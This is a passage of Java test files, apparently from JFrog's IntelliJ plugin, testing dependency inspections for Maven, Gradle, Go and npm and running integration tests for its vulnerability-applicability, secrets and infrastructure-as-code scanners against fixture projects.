null); PsiElement element = TestUtils.getNonLeafElement(fileDescriptor, XmlTag.class, existingExclusion.offset); Assert.assertTrue("Found element should be of type XmlTag", element instanceof XmlTag); XmlTag exclusionsTag = ((XmlTag) element).findFirstSubTag(MavenExclusion.MAVEN_EXCLUSIONS_TAG); assertNotNull(exclusionsTag); XmlTag[] allExclusions = exclusionsTag.findSubTags(MavenExclusion.MAVEN_EXCLUSION_TAG); // Look for exclusion of existingExclusion. Assert.assertTrue( String.format("exclusionExists should be true for group-id: %s, artifact-id: %s for dependency:\n%s", existingExclusion.groupId, existingExclusion.artifactId, element.getText()), exclusion.exclusionExists(allExclusions, existingExclusion.groupId, existingExclusion.artifactId)); // Look for exclusion nonExistingExclusion. Assert.assertFalse( String.format("exclusionExists should be false for group-id: %s, artifact-id: %s for dependency:\n%s", nonExistingExclusion.groupId, nonExistingExclusion.artifactId, element.getText()), exclusion.exclusionExists(allExclusions, nonExistingExclusion.groupId, nonExistingExclusion.artifactId)); } public void testCreateAndAddExclusionTags() { ExclusionTestCase exclusionTestCase = new ExclusionTestCase(696, "group-id-4", "artifact-id-4"); MavenExclusion exclusion = new MavenExclusion(null, null); PsiElement element = TestUtils.getNonLeafElement(fileDescriptor, XmlTag.class, exclusionTestCase.offset); Assert.assertTrue("Found element should be of type XmlTag", element instanceof XmlTag); XmlTag exclusionsTag = ((XmlTag) element).findFirstSubTag(MavenExclusion.MAVEN_EXCLUSIONS_TAG); assertNotNull(exclusionsTag); XmlTag[] allExclusions = exclusionsTag.findSubTags(MavenExclusion.MAVEN_EXCLUSION_TAG); // Look for exclusion of testCase - should not be found. Assert.assertFalse( String.format("exclusionExists should be false for group-id: %s, artifact-id: %s for dependency:\n%s", exclusionTestCase.groupId, exclusionTestCase.artifactId, element.getText()), exclusion.exclusionExists(allExclusions, exclusionTestCase.groupId, exclusionTestCase.artifactId)); // Add exclusion of testCase. XmlFile xmlFileDescriptor = (XmlFile) fileDescriptor; WriteCommandAction.writeCommandAction(xmlFileDescriptor.getProject(), xmlFileDescriptor).run(() -> exclusion.createAndAddExclusionTags(exclusionsTag, exclusionTestCase.groupId, exclusionTestCase.artifactId)); // Look for exclusion of testCase - should be found. allExclusions = exclusionsTag.findSubTags(MavenExclusion.MAVEN_EXCLUSION_TAG); Assert.assertTrue( String.format("exclusionExists should be true for group-id: %s, artifact-id: %s for dependency:\n%s", exclusionTestCase.groupId, exclusionTestCase.artifactId, element.getText()), exclusion.exclusionExists(allExclusions, exclusionTestCase.groupId, exclusionTestCase.artifactId)); } DependencyTree createDependencyTreeNode(String nodeValue, String pkgType) { DependencyTree node = new DependencyTree("node-" + nodeValue); node.setGeneralInfo(new GeneralInfo().pkgType(pkgType) .componentId(createComponentId("group-id-" + nodeValue, "artifact-id-" + nodeValue, "version-" + nodeValue))); return node; } static class ExclusionTestCase { // Parent dependency offset in pom.xml. private final int offset; // Exclusion's group-id. private final String groupId; // Exclusion's artifact-id. private final String artifactId; ExclusionTestCase(int offset, String groupId, String artifactId) { this.offset = offset; this.groupId = groupId; this.artifactId = artifactId; } } } ================================================ FILE: src/test/java/com/jfrog/ide/idea/inspections/GoInspectionTest.java ================================================ package com.jfrog.ide.idea.inspections; import com.goide.vgo.mod.psi.VgoModuleSpec; /** * Created by Bar Belity on 23/02/2020. */ public class GoInspectionTest extends InspectionsTestBase { private static final String PACKAGE_DESCRIPTOR = "go.mod"; private final InspectionTestDependency[] DEPENDENCIES = { new InspectionTestDependency(54, "github.com/jfrog/gocmd:0.1.12"), new InspectionTestDependency(89, "github.com/jfrog/gofrog:1.0.5"), new InspectionTestDependency(124, "github.com/jfrog/gogopowerrangers:1.2.3") }; private final int[] NON_DEPENDENCIES_POSITIONS = {176, 202}; @SuppressWarnings("MethodDoesntCallSuperMethod") @Override public void setUp() throws Exception { super.setUp(new GoInspection(), PACKAGE_DESCRIPTOR, VgoModuleSpec.class); } public void testDependencies() { isDependencyTest(DEPENDENCIES); } public void testNonDependencies() { isNonDependencyTest(NON_DEPENDENCIES_POSITIONS); } public void testCreateGeneralInfo() { createComponentNameTest(DEPENDENCIES); } } ================================================ FILE: src/test/java/com/jfrog/ide/idea/inspections/GradleGroovyInspectionTest.java ================================================ package com.jfrog.ide.idea.inspections; import com.intellij.psi.PsiElement; import com.jfrog.ide.idea.TestUtils; import org.jetbrains.plugins.groovy.lang.psi.GroovyPsiElement; import org.jetbrains.plugins.groovy.lang.psi.api.statements.arguments.GrArgumentList; import org.junit.Assert; import java.util.List; /** * @author yahavi */ public class GradleGroovyInspectionTest extends InspectionsTestBase { // We are setting 'build.groovy' instead pf 'build.gradle' since the testing FW doesn't identify 'build.gradle' // files as groovy-script. private static final String PACKAGE_DESCRIPTOR = "build.groovy"; private final InspectionTestDependency[] DEPENDENCIES = { new InspectionTestDependency(96, "a", "b"), new InspectionTestDependency(139, "d", "e"), new InspectionTestDependency(180, "g", "h"), new InspectionTestDependency(200, "j", "k"), new InspectionTestDependency(225, "m", "n"), new InspectionTestDependency(320, "net.lingala.zip4j", "zip4j"), new InspectionTestDependency(390, "org.codehaus.groovy", "groovy-all"), }; @SuppressWarnings("MethodDoesntCallSuperMethod") @Override public void setUp() throws Exception { super.setUp(new GradleGroovyInspection(), PACKAGE_DESCRIPTOR, GrArgumentList.class); } public void testCreateGeneralInfo() { for (InspectionTestDependency dependency : DEPENDENCIES) { PsiElement element = TestUtils.getNonLeafElement(fileDescriptor, psiClass, dependency.offset); List elementsToVisit = ((GradleGroovyInspection) inspection).parseComponentElements((GrArgumentList) element); for (GroovyPsiElement elementToVisit : elementsToVisit) { if (elementToVisit.getText().contains(dependency.groupId)) { String componentName = inspection.createComponentName(elementToVisit); Assert.assertNotNull(componentName); assertEquals(String.join(":", dependency.groupId, dependency.artifactId), componentName); } } } } } ================================================ FILE: src/test/java/com/jfrog/ide/idea/inspections/GradleInspectionTest.java ================================================ package com.jfrog.ide.idea.inspections; import org.junit.Test; import org.junit.runner.RunWith; import org.junit.runners.Parameterized; import java.util.Arrays; import java.util.Collection; import static com.jfrog.ide.idea.inspections.GradleInspection.stripVersion; import static org.junit.Assert.assertEquals; /** * @author yahavi **/ @RunWith(Parameterized.class) public class GradleInspectionTest { private final String componentId; private final String expectedComponentName; @Parameterized.Parameters public static Collection data() { return Arrays.asList(new Object[][]{ {"a:b:c", "a:b"}, {"a:b:c:d", "a:b"}, {"a", "a"}, {"xyz", "xyz"} }); } public GradleInspectionTest(String componentId, String expectedComponentName) { this.componentId = componentId; this.expectedComponentName = expectedComponentName; } @Test public void testStripVersion() { assertEquals(expectedComponentName, stripVersion(componentId)); } } ================================================ FILE: src/test/java/com/jfrog/ide/idea/inspections/GradleKotlinInspectionTest.java ================================================ package com.jfrog.ide.idea.inspections; import org.jetbrains.kotlin.psi.KtValueArgumentList; /** * @author yahavi */ public class GradleKotlinInspectionTest extends InspectionsTestBase { // We are setting 'build.groovy' instead pf 'build.gradle' since the testing FW doesn't identify 'build.gradle' // files as groovy-script. private static final String PACKAGE_DESCRIPTOR = "build.gradle.kts"; private final InspectionTestDependency[] DEPENDENCIES = { new InspectionTestDependency(119, "a", "b"), new InspectionTestDependency(144, "d", "e"), }; private final int[] NON_DEPENDENCIES_POSITIONS = {273, 338}; @SuppressWarnings("MethodDoesntCallSuperMethod") @Override public void setUp() throws Exception { super.setUp(new GradleKotlinInspection(), PACKAGE_DESCRIPTOR, KtValueArgumentList.class); } public void testDependencies() { isDependencyTest(DEPENDENCIES); } public void testNonDependencies() { isNonDependencyTest(NON_DEPENDENCIES_POSITIONS); } public void testCreateGeneralInfo() { createComponentNameTest(DEPENDENCIES); } } ================================================ FILE: src/test/java/com/jfrog/ide/idea/inspections/InspectionToolsTest.java ================================================ package com.jfrog.ide.idea.inspections; import com.intellij.testFramework.fixtures.LightJavaCodeInsightFixtureTestCase; /** * @author michaels */ public class InspectionToolsTest extends LightJavaCodeInsightFixtureTestCase { public void testConvertFixVersionStringToMinFixVersion() { assertEquals("1.0", AbstractInspection.convertFixVersionStringToMinFixVersion("1.0")); assertEquals("", AbstractInspection.convertFixVersionStringToMinFixVersion("(,1.0]")); assertEquals("", AbstractInspection.convertFixVersionStringToMinFixVersion("(,1.0)")); assertEquals("1.0", AbstractInspection.convertFixVersionStringToMinFixVersion("[1.0]")); assertEquals("", AbstractInspection.convertFixVersionStringToMinFixVersion("(1.0,)")); assertEquals("", AbstractInspection.convertFixVersionStringToMinFixVersion("(1.0, 2.0)")); assertEquals("1.0", AbstractInspection.convertFixVersionStringToMinFixVersion("[1.0, 2.0]")); } } ================================================ FILE: src/test/java/com/jfrog/ide/idea/inspections/InspectionsTestBase.java ================================================ package com.jfrog.ide.idea.inspections; import com.intellij.psi.PsiElement; import com.intellij.psi.PsiFile; import com.intellij.testFramework.fixtures.LightJavaCodeInsightFixtureTestCase; import com.jfrog.ide.idea.TestUtils; import org.apache.commons.lang3.StringUtils; import org.junit.Assert; /** * @author yahavi */ public abstract class InspectionsTestBase extends LightJavaCodeInsightFixtureTestCase { PsiFile fileDescriptor; AbstractInspection inspection; Class psiClass; public void setUp(AbstractInspection inspection, String packageDescriptorName, Class psiClass) throws Exception { super.setUp(); this.fileDescriptor = myFixture.configureByFile(packageDescriptorName); this.inspection = inspection; this.psiClass = psiClass; } @Override protected String getTestDataPath() { return "src/test/resources/inspections"; } public void isDependencyTest(InspectionTestDependency[] dependencies) { for (InspectionTestDependency dependency : dependencies) { PsiElement element = TestUtils.getNonLeafElement(fileDescriptor, psiClass, dependency.offset); Assert.assertTrue("isDependency should be true on " + element.getText(), inspection.isDependency(element)); } } public void isNonDependencyTest(int[] nonDependenciesOffsets) { for (int position : nonDependenciesOffsets) { PsiElement element = TestUtils.getNonLeafElement(fileDescriptor, psiClass, position); Assert.assertFalse(inspection.isDependency(element)); } } public void createComponentNameTest(InspectionTestDependency[] dependencies) { for (InspectionTestDependency dependency : dependencies) { PsiElement element = TestUtils.getNonLeafElement(fileDescriptor, psiClass, dependency.offset); String componentName = inspection.createComponentName(element); Assert.assertNotNull(componentName); String expectedGroupId = dependency.groupId; String expectedArtifactId = dependency.artifactId; if (StringUtils.isBlank(expectedGroupId)) { assertEquals(expectedArtifactId, componentName); } else { assertEquals(String.join(":", expectedGroupId, expectedArtifactId), componentName); } } } static class InspectionTestDependency { public final String artifactId; public final int offset; public String groupId; public InspectionTestDependency(int offset, String groupId, String artifactId) { this.artifactId = artifactId; this.groupId = groupId; this.offset = offset; } public InspectionTestDependency(int offset, String artifactId) { this.artifactId = artifactId; this.offset = offset; } } } ================================================ FILE: src/test/java/com/jfrog/ide/idea/inspections/MavenInspectionTest.java ================================================ package com.jfrog.ide.idea.inspections; import com.intellij.psi.xml.XmlTag; /** * @author yahavi */ public class MavenInspectionTest extends InspectionsTestBase { private static final String PACKAGE_DESCRIPTOR = "pom.xml"; private final InspectionTestDependency[] DEPENDENCIES = { new InspectionTestDependency(550, "a", "b"), new InspectionTestDependency(788, "d", "e"), new InspectionTestDependency(990, "g", "h"), }; private final int[] NON_DEPENDENCIES_POSITIONS = {397, 1197, 1258}; @SuppressWarnings("MethodDoesntCallSuperMethod") @Override public void setUp() throws Exception { super.setUp(new MavenInspection(), PACKAGE_DESCRIPTOR, XmlTag.class); } public void testDependencies() { isDependencyTest(DEPENDENCIES); } public void testNonDependencies() { isNonDependencyTest(NON_DEPENDENCIES_POSITIONS); } public void testCreateGeneralInfo() { createComponentNameTest(DEPENDENCIES); } } ================================================ FILE: src/test/java/com/jfrog/ide/idea/inspections/NpmInspectionTest.java ================================================ package com.jfrog.ide.idea.inspections; import com.intellij.json.psi.JsonProperty; /** * @author yahavi */ public class NpmInspectionTest extends InspectionsTestBase { private static final String PACKAGE_DESCRIPTOR = "package.json"; private final InspectionTestDependency[] DEPENDENCIES = { new InspectionTestDependency(67, "a"), new InspectionTestDependency(82, "c"), new InspectionTestDependency(128, "a") }; private final int[] NON_DEPENDENCIES_POSITIONS = {16, 36}; @SuppressWarnings("MethodDoesntCallSuperMethod") @Override public void setUp() throws Exception { super.setUp(new NpmInspection(), PACKAGE_DESCRIPTOR, JsonProperty.class); } public void testDependencies() { isDependencyTest(DEPENDENCIES); } public void testNonDependencies() { isNonDependencyTest(NON_DEPENDENCIES_POSITIONS); } public void testCreateGeneralInfo() { createComponentNameTest(DEPENDENCIES); } } ================================================ FILE: src/test/java/com/jfrog/ide/idea/integration/ApplicabilityScannerIntegrationTests.java ================================================ package com.jfrog.ide.idea.integration; import com.jfrog.ide.common.log.ProgressIndicator; import com.jfrog.ide.common.nodes.subentities.SourceCodeScanType; import com.jfrog.ide.idea.inspections.JFrogSecurityWarning; import com.jfrog.ide.idea.log.Logger; import com.jfrog.ide.idea.scan.ApplicabilityScannerExecutor; import com.jfrog.ide.idea.scan.data.ScanConfig; import java.io.IOException; import java.util.List; import static org.mockito.Mockito.mock; public class ApplicabilityScannerIntegrationTests extends BaseIntegrationTest { private ApplicabilityScannerExecutor scanner; private final static String TEST_PROJECT_PREFIX = "sourceCode/testProjects/"; @Override protected void setUp() throws Exception { super.setUp(); scanner = new ApplicabilityScannerExecutor(Logger.getInstance()); } public void testApplicabilityScannerJsProjectNotApplicable() throws IOException, InterruptedException { String testProjectRoot = createTempProjectDir("npm"); ScanConfig.Builder input = new ScanConfig.Builder().roots(List.of(testProjectRoot)).cves(List.of("CVE-2021-3918", "CVE-2021-3807")); ProgressIndicator indicator = mock(ProgressIndicator.class); List results = scanner.execute(input, this::dummyCheckCanceled, indicator); assertEquals(2, results.size()); // Expect all issues to be not applicable to this test project assertFalse(results.stream().anyMatch(JFrogSecurityWarning::isApplicable)); } public void testApplicabilityScannerJsProject() throws IOException, InterruptedException { String testProjectRoot = createTempProjectDir("npm"); ScanConfig.Builder input = new ScanConfig.Builder().roots(List.of(testProjectRoot)).cves(List.of("CVE-2022-25878")); ProgressIndicator indicator = mock(ProgressIndicator.class); List results = scanner.execute(input, this::dummyCheckCanceled, indicator); assertEquals(2, results.size()); // Expect all issues to be applicable. assertTrue(results.stream().allMatch(JFrogSecurityWarning::isApplicable)); // Expect specific indications assertEquals("protobuf.parse(p)", results.get(0).getLineSnippet()); assertEquals(20, results.get(0).getLineStart()); assertEquals(20, results.get(0).getLineEnd()); assertEquals(0, results.get(0).getColStart()); assertEquals(17, results.get(0).getColEnd()); assertTrue(results.get(0).getFilePath().endsWith("index.js")); assertEquals(SourceCodeScanType.CONTEXTUAL, results.get(0).getReporter()); } public void testApplicabilityScannerPythonProjectNotApplicable() throws IOException, InterruptedException { String testProjectRoot = createTempProjectDir("python"); ScanConfig.Builder input = new ScanConfig.Builder().roots(List.of(testProjectRoot)).cves(List.of("CVE-2021-3918", "CVE-2019-15605")); ProgressIndicator indicator = mock(ProgressIndicator.class); List results = scanner.execute(input, this::dummyCheckCanceled, indicator); assertEquals(2, results.size()); // Expect all issues to be not applicable to this test project assertFalse(results.stream().anyMatch(JFrogSecurityWarning::isApplicable)); } public void testApplicabilityScannerPythonProject() throws IOException, InterruptedException { String testProjectRoot = createTempProjectDir("python"); ScanConfig.Builder input = new ScanConfig.Builder().roots(List.of(testProjectRoot)).cves(List.of("CVE-2019-20907")); ProgressIndicator indicator = mock(ProgressIndicator.class); List results = scanner.execute(input, this::dummyCheckCanceled, indicator); assertEquals(1, results.size()); // Expect specific indications assertTrue(results.get(0).isApplicable()); assertEquals("tarfile.open(name)", results.get(0).getLineSnippet()); assertEquals(16, results.get(0).getLineStart()); assertEquals(16, results.get(0).getLineEnd()); assertEquals(6, results.get(0).getColStart()); assertEquals(24, results.get(0).getColEnd()); assertTrue(results.get(0).getFilePath().endsWith("main.py")); assertEquals(SourceCodeScanType.CONTEXTUAL, results.get(0).getReporter()); } public void testApplicabilityScannerJavaProject() throws IOException, InterruptedException { String testProjectRoot = createTempProjectDir("maven"); ScanConfig.Builder input = new ScanConfig.Builder().roots(List.of(testProjectRoot)).cves(List.of("CVE-2013-7285")); ProgressIndicator indicator = mock(ProgressIndicator.class); List results = scanner.execute(input, this::dummyCheckCanceled, indicator); assertEquals(2, results.size()); // Expect specific indications assertTrue(results.get(0).isApplicable()); assertEquals("xstream.fromXML(payload)", results.get(0).getLineSnippet()); assertEquals(56, results.get(0).getLineStart()); assertEquals(56, results.get(0).getLineEnd()); assertEquals(26, results.get(0).getColStart()); assertEquals(50, results.get(0).getColEnd()); assertTrue(results.get(0).getFilePath().endsWith("VulnerableComponentsLesson.java")); assertEquals(SourceCodeScanType.CONTEXTUAL, results.get(0).getReporter()); } @Override protected String createTempProjectDir(String projectName) throws IOException { return super.createTempProjectDir(TEST_PROJECT_PREFIX + projectName); } } ================================================ FILE: src/test/java/com/jfrog/ide/idea/integration/BaseIntegrationTest.java ================================================ package com.jfrog.ide.idea.integration; import com.intellij.testFramework.HeavyPlatformTestCase; import com.jfrog.ide.idea.configuration.GlobalSettings; import com.jfrog.ide.idea.configuration.ServerConfigImpl; import com.jfrog.ide.idea.ui.configuration.ConnectionRetriesSpinner; import com.jfrog.ide.idea.ui.configuration.ConnectionTimeoutSpinner; import org.apache.commons.io.FileUtils; import org.apache.commons.lang3.StringUtils; import org.junit.Assert; import java.io.File; import java.io.IOException; import java.nio.file.Path; import static com.jfrog.ide.idea.ui.configuration.ConfigVerificationUtils.DEFAULT_EXCLUSIONS; import static org.apache.commons.lang3.StringUtils.defaultIfEmpty; public abstract class BaseIntegrationTest extends HeavyPlatformTestCase { private static final String ENV_PLATFORM_URL = "JFROG_IDE_PLATFORM_URL"; private static final String ENV_ACCESS_TOKEN = "JFROG_IDE_ACCESS_TOKEN"; private static final Path TEST_PROJECT_PATH = new File("src/test/resources/").toPath(); protected ServerConfigImpl serverConfig; @Override protected void setUp() throws Exception { super.setUp(); serverConfig = createServerConfigFromEnv(); if (serverConfig != null) { GlobalSettings.getInstance().updateConfig(serverConfig); } // Try to use the loaded config from JFrog CLI. serverConfig = GlobalSettings.getInstance().getServerConfig(); // If not configured, fail the setup. if (!serverConfig.isXrayConfigured()) { failSetup(); } } private ServerConfigImpl createServerConfigFromEnv() { String platformUrl = addSlashIfNeeded(System.getenv(ENV_PLATFORM_URL)); String token = System.getenv(ENV_ACCESS_TOKEN); if (StringUtils.isEmpty(platformUrl) || StringUtils.isEmpty(ENV_ACCESS_TOKEN)) { return null; } return createServerConfig(platformUrl, token); } private ServerConfigImpl createServerConfig(String platformUrl, String token) { return new ServerConfigImpl.Builder() .setUrl(platformUrl) .setXrayUrl(platformUrl + "xray") .setArtifactoryUrl(platformUrl + "artifactory") .setAccessToken(token) .setConnectionRetries(ConnectionRetriesSpinner.RANGE.initial) .setConnectionTimeout(ConnectionTimeoutSpinner.RANGE.initial) .setExcludedPaths(DEFAULT_EXCLUSIONS) .build(); } private String addSlashIfNeeded(String paramValue) { return StringUtils.appendIfMissing(paramValue, "/"); } private void failSetup() { String message = String.format("Failed to load JFrog Platform credentials.\nLooking for environment variables %s and %s\nor installed JFrog CLI with configured server.", ENV_PLATFORM_URL, ENV_ACCESS_TOKEN); Assert.fail(message); } protected String createTempProjectDir(String projectName) throws IOException { String tempProjectDir = getTempDir().createVirtualDir().toNioPath().toString(); FileUtils.copyDirectory(TEST_PROJECT_PATH.resolve(projectName).toFile(), new File(tempProjectDir)); return tempProjectDir; } protected void dummyCheckCanceled() { } } ================================================ FILE: src/test/java/com/jfrog/ide/idea/integration/ExternalResourcesRepoIntegrationTests.java ================================================ package com.jfrog.ide.idea.integration; import com.jfrog.ide.common.log.ProgressIndicator; import com.jfrog.ide.idea.configuration.GlobalSettings; import com.jfrog.ide.idea.configuration.ServerConfigImpl; import com.jfrog.ide.idea.inspections.JFrogSecurityWarning; import com.jfrog.ide.idea.log.Logger; import com.jfrog.ide.idea.scan.ScanBinaryExecutor; import com.jfrog.ide.idea.scan.SecretsScannerExecutor; import com.jfrog.ide.idea.scan.data.ScanConfig; import org.apache.commons.io.FileUtils; import org.apache.commons.lang3.StringUtils; import org.mockito.Mockito; import java.io.FileNotFoundException; import java.io.IOException; import java.nio.file.Files; import java.util.List; import static org.mockito.Mockito.mock; public class ExternalResourcesRepoIntegrationTests extends BaseIntegrationTest { private static final String TEST_PROJECT_PREFIX = "secrets/testProjects/"; private static final String ENV_EXTERNAL_RESOURCES_REPO = "JFROG_IDE_TEST_EXTERNAL_RESOURCES_REPO"; private SecretsScannerExecutor scanner; @Override protected void setUp() throws Exception { super.setUp(); scanner = new SecretsScannerExecutor(Logger.getInstance()); } public void testDownloadScannersFromExternalRepo() throws IOException, InterruptedException { String externalResourcesRepo = System.getenv(ENV_EXTERNAL_RESOURCES_REPO); assertFalse("The " + ENV_EXTERNAL_RESOURCES_REPO + " environment variable must be set to run this test", StringUtils.isEmpty(externalResourcesRepo)); // Save the current ServerConfig and restore it at the end ServerConfigImpl originalServerConfig = GlobalSettings.getInstance().getServerConfig(); ServerConfigImpl serverConfig = Mockito.spy(GlobalSettings.getInstance().getServerConfig()); Mockito.when(serverConfig.getExternalResourcesRepo()).thenReturn(externalResourcesRepo); GlobalSettings.getInstance().setServerConfig(serverConfig); deleteScannersDir(); String testProjectRoot = createTempProjectDir("exposedSecrets"); ScanConfig.Builder input = new ScanConfig.Builder() .roots(List.of(testProjectRoot)); ProgressIndicator indicator = mock(ProgressIndicator.class); List results = scanner.execute(input, this::dummyCheckCanceled, indicator); assertEquals(8, results.size()); // Restore the original ServerConfig in GlobalSettings GlobalSettings.getInstance().setServerConfig(originalServerConfig); } public void testDownloadScannersFromExternalRepoNotExist() throws IOException { // Save the current ServerConfig and restore it at the end ServerConfigImpl originalServerConfig = GlobalSettings.getInstance().getServerConfig(); ServerConfigImpl serverConfig = Mockito.spy(GlobalSettings.getInstance().getServerConfig()); Mockito.when(serverConfig.getExternalResourcesRepo()).thenReturn("repo-that-does-not-exist"); GlobalSettings.getInstance().setServerConfig(serverConfig); deleteScannersDir(); GlobalSettings.getInstance().reloadMissingConfiguration(); String testProjectRoot = createTempProjectDir("exposedSecrets"); ScanConfig.Builder input = new ScanConfig.Builder() .roots(List.of(testProjectRoot)); ProgressIndicator indicator = mock(ProgressIndicator.class); assertThrows(FileNotFoundException.class, () -> scanner.execute(input, this::dummyCheckCanceled, indicator)); // Restore the original ServerConfig in GlobalSettings GlobalSettings.getInstance().setServerConfig(originalServerConfig); } @Override protected String createTempProjectDir(String projectName) throws IOException { return super.createTempProjectDir(TEST_PROJECT_PREFIX + projectName); } private void deleteScannersDir() throws IOException { if (Files.isDirectory(ScanBinaryExecutor.BINARIES_DIR)) { FileUtils.deleteDirectory(ScanBinaryExecutor.BINARIES_DIR.toFile()); } } } ================================================ FILE: src/test/java/com/jfrog/ide/idea/integration/IACScannerIntegrationTests.java ================================================ package com.jfrog.ide.idea.integration; import com.jfrog.ide.common.log.ProgressIndicator; import com.jfrog.ide.common.nodes.subentities.SourceCodeScanType; import com.jfrog.ide.idea.inspections.JFrogSecurityWarning; import com.jfrog.ide.idea.log.Logger; import com.jfrog.ide.idea.scan.IACScannerExecutor; import com.jfrog.ide.idea.scan.data.ScanConfig; import org.apache.commons.lang3.StringUtils; import java.io.IOException; import java.util.List; import static org.mockito.Mockito.mock; public class IACScannerIntegrationTests extends BaseIntegrationTest { private IACScannerExecutor scanner; private final static String TEST_PROJECT_PREFIX = "iac/testProjects/"; @Override protected void setUp() throws Exception { super.setUp(); scanner = new IACScannerExecutor(Logger.getInstance()); } public void testIACScanner() throws IOException, InterruptedException { String testProjectRoot = createTempProjectDir("exposedIac"); ScanConfig.Builder input = new ScanConfig.Builder() .roots(List.of(testProjectRoot)); ProgressIndicator indicator = mock(ProgressIndicator.class); List results = scanner.execute(input, this::dummyCheckCanceled, indicator); assertEquals(11, results.size()); // Expect specific indications JFrogSecurityWarning iacIndication = results.get(0); assertEquals(0, iacIndication.getLineStart()); assertEquals(11, iacIndication.getLineEnd()); assertEquals(0, iacIndication.getColStart()); assertEquals(1, iacIndication.getColEnd()); assertTrue(iacIndication.getFilePath().endsWith("req_sw_terraform_aws_alb_https_only.tf")); assertEquals(SourceCodeScanType.IAC, iacIndication.getReporter()); assertTrue(StringUtils.isNotBlank(iacIndication.getScannerSearchTarget())); assertTrue(StringUtils.isNotBlank(iacIndication.getReason())); } @Override protected String createTempProjectDir(String projectName) throws IOException { return super.createTempProjectDir(TEST_PROJECT_PREFIX + projectName); } } ================================================ FILE: src/test/java/com/jfrog/ide/idea/integration/SecretsScannerIntegrationTests.java ================================================ package com.jfrog.ide.idea.integration; import com.jfrog.ide.common.log.ProgressIndicator; import com.jfrog.ide.common.nodes.subentities.SourceCodeScanType; import com.jfrog.ide.idea.inspections.JFrogSecurityWarning; import com.jfrog.ide.idea.log.Logger; import com.jfrog.ide.idea.scan.SecretsScannerExecutor; import com.jfrog.ide.idea.scan.data.ScanConfig; import org.apache.commons.lang3.StringUtils; import java.io.IOException; import java.util.List; import static org.mockito.Mockito.mock; public class SecretsScannerIntegrationTests extends BaseIntegrationTest { private SecretsScannerExecutor scanner; private final static String TEST_PROJECT_PREFIX = "secrets/testProjects/"; @Override protected void setUp() throws Exception { super.setUp(); scanner = new SecretsScannerExecutor(Logger.getInstance()); } public void testSecretsScanner() throws IOException, InterruptedException { String testProjectRoot = createTempProjectDir("exposedSecrets"); ScanConfig.Builder input = new ScanConfig.Builder() .roots(List.of(testProjectRoot)); ProgressIndicator indicator = mock(ProgressIndicator.class); List results = scanner.execute(input, this::dummyCheckCanceled, indicator); assertEquals(8, results.size()); // Expect specific indications JFrogSecurityWarning secretIndication = results.get(0); assertEquals(0, secretIndication.getLineStart()); assertEquals(0, secretIndication.getLineEnd()); assertEquals(6, secretIndication.getColStart()); assertEquals(118, secretIndication.getColEnd()); assertTrue(secretIndication.getFilePath().endsWith("applicable_base64.js")); assertEquals(SourceCodeScanType.SECRETS, secretIndication.getReporter()); assertTrue(StringUtils.isNotBlank(secretIndication.getScannerSearchTarget())); assertTrue(StringUtils.isNotBlank(secretIndication.getReason())); } public void testSecretsScannerNoSecrets() throws IOException, InterruptedException { String testProjectRoot = createTempProjectDir("dummy"); ScanConfig.Builder input = new ScanConfig.Builder() .roots(List.of(testProjectRoot)); ProgressIndicator indicator = mock(ProgressIndicator.class); List results = scanner.execute(input, this::dummyCheckCanceled, indicator); assertEquals(0, results.size()); } @Override protected String createTempProjectDir(String projectName) throws IOException { return super.createTempProjectDir(TEST_PROJECT_PREFIX + projectName); } } ================================================ FILE: src/test/java/com/jfrog/ide/idea/scan/DummyCircularDepPyPkgManager.java ================================================ package com.jfrog.ide.idea.scan; import com.intellij.openapi.module.Module; import com.intellij.openapi.projectRoots.Sdk; import com.intellij.openapi.vfs.VirtualFile; import com.jetbrains.python.packaging.PyPackage; import com.jetbrains.python.packaging.PyPackageManager; import com.jetbrains.python.packaging.PyRequirement; import org.jetbrains.annotations.NotNull; import org.jetbrains.annotations.Nullable; import java.util.ArrayList; import java.util.HashSet; import java.util.List; import java.util.Set; public class DummyCircularDepPyPkgManager extends PyPackageManager { public static final String DIRECT_DEPENDENCY_NAME = "root"; public static final String DIRECT_DEPENDENCY_VERSION = "1.0.0"; public static final String CIRCULAR_DEPENDENCY_A = "a"; public static final String CIRCULAR_DEPENDENCY_B = "b"; public static final String CIRCULAR_DEPENDENCY_VERSION = "2.0.0"; public DummyCircularDepPyPkgManager(@NotNull Sdk sdk) { super(sdk); } @Override public void installManagement() { } @Override public boolean hasManagement() { return false; } @Override public void install(@NotNull String s) { } @Override public void install(@Nullable List list, @NotNull List list1) { } @Override public void uninstall(@NotNull List list) { } @Override public void refresh() { } @Override public @NotNull String createVirtualEnv(@NotNull String s, boolean b) { return ""; } @Override public @Nullable List getPackages() { return null; } @Override public @NotNull List refreshAndGetPackages(boolean bool) { // Create the following tree: root // | // a // | // b // | // a ArrayList circularPyPackages = new ArrayList<>(); // Root node ArrayList dependencies = new ArrayList<>(); dependencies.add(new DummyCircularRequirement(CIRCULAR_DEPENDENCY_A)); PyPackage root = new PyPackage(DIRECT_DEPENDENCY_NAME, DIRECT_DEPENDENCY_VERSION, null, dependencies); circularPyPackages.add(root); // a ArrayList aDependencies = new ArrayList<>(); aDependencies.add(new DummyCircularRequirement(CIRCULAR_DEPENDENCY_B)); PyPackage a = new PyPackage(CIRCULAR_DEPENDENCY_A, CIRCULAR_DEPENDENCY_VERSION, null, aDependencies); circularPyPackages.add(a); // b ArrayList bDependencies = new ArrayList<>(); bDependencies.add(new DummyCircularRequirement(CIRCULAR_DEPENDENCY_A)); PyPackage b = new PyPackage(CIRCULAR_DEPENDENCY_B, CIRCULAR_DEPENDENCY_VERSION, null, bDependencies); circularPyPackages.add(b); return circularPyPackages; } @Override public @Nullable List getRequirements(@NotNull Module module) { return null; } @Override public @Nullable PyRequirement parseRequirement(@NotNull String s) { return null; } @Override public @NotNull List parseRequirements(@NotNull String s) { return new ArrayList<>(); } @Override public @NotNull List parseRequirements(@NotNull VirtualFile virtualFile) { return new ArrayList<>(); } @Override public @NotNull Set getDependents(@NotNull PyPackage pyPackage) { return new HashSet<>(); } } ================================================ FILE: src/test/java/com/jfrog/ide/idea/scan/DummyCircularRequirement.java ================================================ package com.jfrog.ide.idea.scan; import com.jetbrains.python.packaging.PyPackage; import com.jetbrains.python.packaging.requirement.PyRequirementVersionSpec; import org.jetbrains.annotations.NotNull; import org.jetbrains.annotations.Nullable; import java.util.ArrayList; import java.util.Collection; import java.util.List; public class DummyCircularRequirement implements com.jetbrains.python.packaging.PyRequirement { private final String name; DummyCircularRequirement(String name) { this.name = name; } @Override public @NotNull String getName() { return this.name; } @Override public @NotNull List getVersionSpecs() { return new ArrayList<>(); } @Override public @NotNull List getInstallOptions() { return new ArrayList<>(); } @Override public 